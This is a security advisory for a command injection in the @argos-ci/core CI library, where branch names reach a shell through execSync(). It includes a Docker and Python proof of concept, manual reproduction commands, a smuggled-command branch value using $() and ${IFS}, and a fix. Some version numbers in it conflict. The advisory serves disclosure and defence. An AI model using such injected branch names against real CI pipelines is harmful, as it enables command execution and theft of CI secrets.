GHSA-4x45-gxvp-6283: OS Command Injection
CI Branch Name OS Command Injection in @argos-ci/core
Summary
@argos-ci/core@6.2.0 passes attacker-controlled CI branch/ref strings directly into an execSync() template literal in packages/core/src/ci-environment/git.ts:89. When a CI project has hasRemoteContentAccess: false, the Argos upload flow calls getMergeBaseCommitSha(), which invokes gitFetch() with the unsanitized branch name. Because execSync() passes the command string to /bin/sh -c, shell metacharacters such as $() command substitution are evaluated before git runs, enabling an attacker who can influence the branch name (e.g., via a pull request) to execute arbitrary OS commands on the CI runner. CVSS Base Score: 7.5 (High).
Details
The vulnerable sink is in packages/core/src/ci-environment/git.ts:87-90:
ts function gitFetch(input: { ref: string; depth: number; target: string }) { execSync( git fetch --force --update-head-ok --depth ${input.depth} origin ${input.ref}:${input.target}, ); }
execSync() with a template-literal string invokes /bin/sh -c "<command>". The shell expands $(), backticks, ;, and other metacharacters before spawning git, so any special characters present in input.ref or input.target are interpreted as shell instructions.
A secondary sink exists at packages/core/src/ci-environment/git.ts:67:
ts execSync(git merge-base ${input.head} ${input.base})
Complete data flow (source → sink):
1. packages/core/src/ci-environment/services/github-actions.ts:104 — reads env.GITHUBHEADREF without validation (source). 2. packages/core/src/ci-environment/services/github-actions.ts:165 — returns the branch from the CI context. 3. packages/core/src/ci-environment/services/github-actions.ts:330 — stores the value as branch. 4. packages/core/src/config.ts:119-123 — loads ciEnv?.branch into config.branch; only format: String is applied, no sanitization. 5. packages/core/src/upload.ts:285 — calls getMergeBaseCommitSha({ base, head: config.branch }) when the API returns hasRemoteContentAccess: false. 6. packages/core/src/ci-environment/git.ts:123 — passes attacker-controlled value as ref to gitFetch(). 7. packages/core/src/ci-environment/git.ts:89 — sink: execSync( git fetch ... origin ${input.ref}:${input.target} ).
There is no allowlist, regex, or shell-escaping applied to the branch string at any point in the chain.
Recommended remediation — replace template-literal execSync calls with execFileSync using argument arrays, which bypass the shell entirely:
diff -import { execSync } from "node:childprocess"; +import { execFileSync, execSync } from "node:childprocess";
function gitFetch(input: { ref: string; depth: number; target: string }) { - execSync( - git fetch --force --update-head-ok --depth ${input.depth} origin ${input.ref}:${input.target}, - ); + execFileSync("git", [ + "fetch", "--force", "--update-head-ok", + "--depth", String(input.depth), + "origin", ${input.ref}:${input.target}, + ]); }
function gitMergeBase(input: { base: string; head: string }) { - return execSync(git merge-base ${input.head} ${input.base}).toString().trim(); + return execFileSync("git", ["merge-base", input.head, input.base], { encoding: "utf8" }).trim(); }
PoC
Prerequisites: - Docker installed on the test machine. - Internet access to pull node:22 and install @argos-ci/cli@5.0.5 from npm.
Step 1 — Build the Docker image:
bash docker build -t argos-vuln-001 \ -f /path/to/vuln-001/Dockerfile \ /path/to/reports/npmAI634argos-ciargos-javascript/
The Dockerfile: - Uses node:22 as the base. - Creates a local bare git repository at /remote.git and a working repository at /git-workspace with that bare repo as origin, so git fetch has a reachable remote. - Installs @argos-ci/cli@5.1.0 (which depends on @argos-ci/core@6.2.0) globally from the public npm registry. - Copies poc.py as the container entrypoint.
Step 2 — Run the container:
bash docker run --rm argos-vuln-001
What the PoC (poc.py) does:
1. Starts a local HTTP mock server on 127.0.0.1:7777 that returns {"hasRemoteContentAccess": false} for GET /v2/project, activating the getMergeBaseCommitSha() code path. 2. Sets ARGOSBRANCH to main$(touch${IFS}/tmp/argos-ci-cve-poc). - $(...) is shell command substitution. - ${IFS} expands to a space character, bypassing naive space-based filters, making the injected command touch /tmp/argos-ci-cve-poc. 3. Runs argos upload <empty-dir> --files '.png' with the malicious environment. 4. Checks for the marker file /tmp/argos-ci-cve-poc.
Expected output:
============================================================ [PASS] VULNERABILITY CONFIRMED [PASS] Marker file exists: /tmp/argos-ci-cve-poc [PASS] The shell command injected via ARGOSBRANCH was executed [PASS] by execSync() inside gitFetch() (git.ts:88-90). ============================================================
The marker file is created before git connects to the remote because the shell evaluates $() during command string construction. The CLI exits with a non-zero code later (due to mock API incomplete stubs), but the injection has already succeeded.
Manual reproduction (without Docker):
bash mkdir -p /tmp/argos-poc && cd /tmp/argos-poc git init && git remote add origin https://github.com/argos-ci/argos-javascript.git
Start a minimal mock API server (background) node -e " const http = require('http'); http.createServer((req, res) => { if (req.url === '/v2/project') { res.writeHead(200, {'content-type':'application/json'}); res.end(JSON.stringify({defaultBaseBranch:'main', hasRemoteContentAccess:false})); return; } res.writeHead(200, {'content-type':'application/json'}); res.end('{}'); }).listen(7777); " &
mkdir empty rm -f /tmp/argos-ci-cve-poc ARGOSAPIBASEURL=http://127.0.0.1:7777/v2/ \ ARGOSTOKEN=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa \ ARGOSCOMMIT=0123456789abcdef0123456789abcdef01234567 \ ARGOSBRANCH='main$(touch${IFS}/tmp/argos-ci-cve-poc)' \ npx -y @argos-ci/cli@5.0.5 upload empty --files '.png' || true
test -f /tmp/argos-ci-cve-poc && echo "COMMANDEXECUTED"
Impact
This is an OS Command Injection vulnerability (CWE-78). An attacker who can influence the branch or ref name used by a CI pipeline running Argos — for example, by opening a pull request with a crafted branch name, or by controlling the GITHUBHEADREF / ARGOSBRANCH environment variable — can execute arbitrary shell commands on the CI runner with the same privileges as the Argos upload process.
Who is impacted:
- Any organization using @argos-ci/core (or the CLI @argos-ci/cli) in a CI pipeline where the project's Argos configuration has hasRemoteContentAccess: false. This configuration is the default for projects that have not connected a Git provider integration, covering a significant portion of Argos users. - The risk is highest in pullrequesttarget or other privileged CI workflow patterns where the workflow runs with repository secrets but also processes attacker-supplied branch names from forks. - Successful exploitation can lead to: exfiltration of CI secrets (tokens, API keys, cloud credentials), supply-chain compromise of build artifacts, lateral movement within CI infrastructure, and full compromise of the CI runner environment.
Reproduction artifacts
Dockerfile
dockerfile FROM node:22
Install git and Python 3 RUN apt-get update && \ apt-get install -y --no-install-recommends git python3 && \ rm -rf /var/lib/apt/lists/
Configure git identity for commits inside the container RUN git config --global user.email "poc@test.local" && \ git config --global user.name "PoC Test" && \ git config --global init.defaultBranch main
Create a local bare repository that acts as the "origin" remote. This lets git fetch succeed (reaching a real remote is not required for the injection -- the shell expands $() before git connects -- but a working remote means getMergeBaseCommitSha() returns a real SHA and the full upload code-path is exercised without extra noise from git errors.) RUN git init --bare /remote.git
Create the working repository with the bare repo as origin RUN git init /git-workspace && \ cd /git-workspace && \ git remote add origin /remote.git && \ echo "initial" > README.md && \ git add README.md && \ git commit -m "Initial commit" && \ git branch -M main && \ git push -u origin main
Copy the cloned repository source for reference / source evidence. The vulnerable code lives in packages/core/src/ci-environment/git.ts:87-90. COPY repo /argos-repo
Install the vulnerable @argos-ci/cli@5.1.0 (depends on @argos-ci/core@6.2.0) from the public npm registry -- same version as the cloned repository. RUN npm install -g @argos-ci/cli@5.1.0 --loglevel=warn
Copy the Python PoC script COPY vuln-001/poc.py /poc.py
Run from inside the git workspace so that git commands find the correct repo WORKDIR /git-workspace
ENTRYPOINT ["python3", "/poc.py"]
poc.py
python #!/usr/bin/env python3 """ PoC for VULN-001 -- OS Command Injection in @argos-ci/core@6.2.0
Vulnerability: CWE-78 (OS Command Injection) Affected file: packages/core/src/ci-environment/git.ts:87-90
The gitFetch() function passes user-controlled ref strings directly into an execSync() template literal. Node.js execSync() invokes /bin/sh -c "...", so shell metacharacters in the string -- including $() command substitution -- are evaluated before git runs.
Attack chain (source -> sink): env.GITHUBHEADREF / ARGOSBRANCH -> config.ts:119-122 (String cast, no sanitisation) -> upload.ts:285 getMergeBaseCommitSha({ head: config.branch }) -> git.ts:123 gitFetch({ ref: input.head, ... }) -> git.ts:89 execSync(git fetch ... origin ${input.ref}:${input.target}) ^^^^^^^^ shell injection sink
This script: 1. Starts a local HTTP mock server that returns hasRemoteContentAccess=false for GET /v2/project, triggering the getMergeBaseCommitSha() code-path. 2. Invokes the argos CLI with ARGOSBRANCH set to a malicious value containing a $() command substitution. 3. Checks for a filesystem artefact that proves execution. """
import json import os import subprocess import sys import threading from http.server import BaseHTTPRequestHandler, HTTPServer
File created by the injected command -- its existence proves execution. MARKERFILE = "/tmp/argos-ci-cve-poc"
Port for the mock Argos API server. MOCKPORT = 7777
class MockArgosAPI(BaseHTTPRequestHandler): """Minimal mock of the Argos REST API.
Only two responses matter: - GET /v2/project -- must return hasRemoteContentAccess=false to trigger the git-based merge-base discovery code-path. - POST /v2/builds -- needs to return a recognisable structure so the SDK does not abort before we can observe the side-effect. """
def logmessage(self, fmt, args): # Suppress per-request log noise; PoC progress messages are enough. pass
def sendjson(self, status: int, body: dict) -> None: raw = json.dumps(body).encode() self.sendresponse(status) self.sendheader("Content-Type", "application/json") self.sendheader("Content-Length", str(len(raw))) self.endheaders() self.wfile.write(raw)
def doGET(self): if self.path.rstrip("/") == "/v2/project": # hasRemoteContentAccess=false is the precondition that makes the # SDK call getMergeBaseCommitSha() instead of fetching from the # Git provider API. This is the key to reaching the sink. self.sendjson(200, { "id": "proj-1", "defaultBaseBranch": "main", "hasRemoteContentAccess": False, }) else: self.sendjson(200, {})
def doPOST(self): # Drain request body to keep the connection clean. length = int(self.headers.get("Content-Length", 0)) self.rfile.read(length) if "/builds" in self.path: # Return the minimal structure the SDK dereferences after POST /builds. self.sendjson(201, { "id": "build-1", "url": "http://localhost/build/1", "screenshots": [], "pwTraces": [], }) else: self.sendjson(200, {})
def doPUT(self): length = int(self.headers.get("Content-Length", 0)) self.rfile.read(length) self.sendjson(200, {})
def startmockserver() -> HTTPServer: server = HTTPServer(("127.0.0.1", MOCKPORT), MockArgosAPI) thread = threading.Thread(target=server.serveforever, daemon=True) thread.start() return server
def main(): print("[] VULN-001 PoC -- @argos-ci/core@6.1.1 OS Command Injection") print("[] Source sink: packages/core/src/ci-environment/git.ts:87-90") print()
# Remove any stale marker from a previous run. if os.path.exists(MARKERFILE): os.remove(MARKERFILE)
# Start the mock Argos API. server = startmockserver() print(f"[] Mock Argos API server listening on 127.0.0.1:{MOCKPORT}")
# Build the malicious branch name. # Breakdown: # main -- valid branch prefix so git ref looks plausible # $(...) -- shell command substitution, evaluated by /bin/sh # touch${IFS}<path> -- ${IFS} expands to a space, bypassing naive space # filters and forming "touch <path>" maliciousbranch = f"main$(touch${{IFS}}{MARKERFILE})" print(f"[] Malicious ARGOSBRANCH value: {maliciousbranch}") print(f"[] Expected shell expansion: touch {MARKERFILE}") print()
# Empty upload directory -- no real screenshots needed. The injection # occurs during merge-base discovery before any upload loop runs. uploaddir = "/tmp/argos-empty-upload" os.makedirs(uploaddir, existok=True)
env = dict(os.environ) env.update({ "ARGOSAPIBASEURL": f"http://127.0.0.1:{MOCKPORT}/v2/", "ARGOSTOKEN": "a" 40, "ARGOSCOMMIT": "0" 40, "ARGOSBRANCH": maliciousbranch, # Disable update-notifier noise inside the CLI. "NOUPDATENOTIFIER": "1", })
print("[] Running: argos upload <empty-dir> --files '.png'") result = subprocess.run( ["argos", "upload", uploaddir, "--files", ".png"], env=env, captureoutput=True, text=True, # CWD must be a git repository with an 'origin' remote so that # git fetch has a valid context. /git-workspace is prepared in the # Dockerfile for this purpose. cwd="/git-workspace", )
print(f"[] CLI exit code : {result.returncode}") if result.stdout.strip(): print(f"[] CLI stdout : {result.stdout.strip()[:600]}") if result.stderr.strip(): print(f"[] CLI stderr : {result.stderr.strip()[:600]}")
server.shutdown() print()
# --- Verdict --- if os.path.exists(MARKERFILE): print("=" 60) print("[PASS] VULNERABILITY CONFIRMED") print(f"[PASS] Marker file exists: {MARKERFILE}") print("[PASS] The shell command injected via ARGOSBRANCH was executed") print("[PASS] by execSync() inside gitFetch() (git.ts:88-90).") print("=" 60) sys.exit(0) else: print("=" 60) print("[FAIL] Marker file not found -- injection did not trigger.") print("[FAIL] Check that CWD is a git repo with a reachable 'origin'.") print("[FAIL] Check that the mock server returned hasRemoteContentAccess=false.") print("=" 60) sys.exit(1)
if name == "main": main()
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/@argos-ci/coreto a version that resolves this vulnerability.Fixed in 6.2.1 - Upgrade
Upgrade
@argos-ci/coreto a version that resolves this vulnerability.Fixed in 6.2.0 - Upgrade
Upgrade
@argos-ci/clito a version that resolves this vulnerability.Fixed in 5.1.0 - Configuration
In packages/core/src/ci-environment/git.ts (execSync sink at lines 89-90), replace template-literal execSync usage (e.g., `git fetch --force --update-head-ok --depth ${input.depth} origin ${input.ref}:${input.target}` and `git merge-base ...`) with execFileSync (or equivalent) using argument arrays so /bin/sh -c is not invoked and shell metacharacters in ref/target cannot execute.
@argos-ci/core (packages/core/src/ci-environment/git.ts) replace execSync template-literal calls = use execFileSync with argument arrays instead of shell command strings - Compensating control
Ensure CI Argos configuration uses hasRemoteContentAccess: false only in environments where attacker-controlled branch/ref names cannot be supplied; otherwise branch/ref injection is evaluated before git runs during merge-base discovery (OS command injection via $() in shell).
Event History
Frequently Asked Questions
Which CI jobs are exposed to this issue?
Jobs using @argos-ci/core version 6.2.0 are exposed when the project has hasRemoteContentAccess set to false and the Argos upload flow invokes getMergeBaseCommitSha(). The affected path fetches a ref using a shell command.
What access does an attacker need to exploit it?
An attacker needs the ability to influence the CI branch or ref string, such as through a pull request. Shell metacharacters in that value can be evaluated by /bin/sh before git runs, resulting in command execution on the CI runner.
What version should be used to remediate the issue?
Update @argos-ci/core from version 6.2.0 to version 6.2.1, which is the release referenced for the security fix.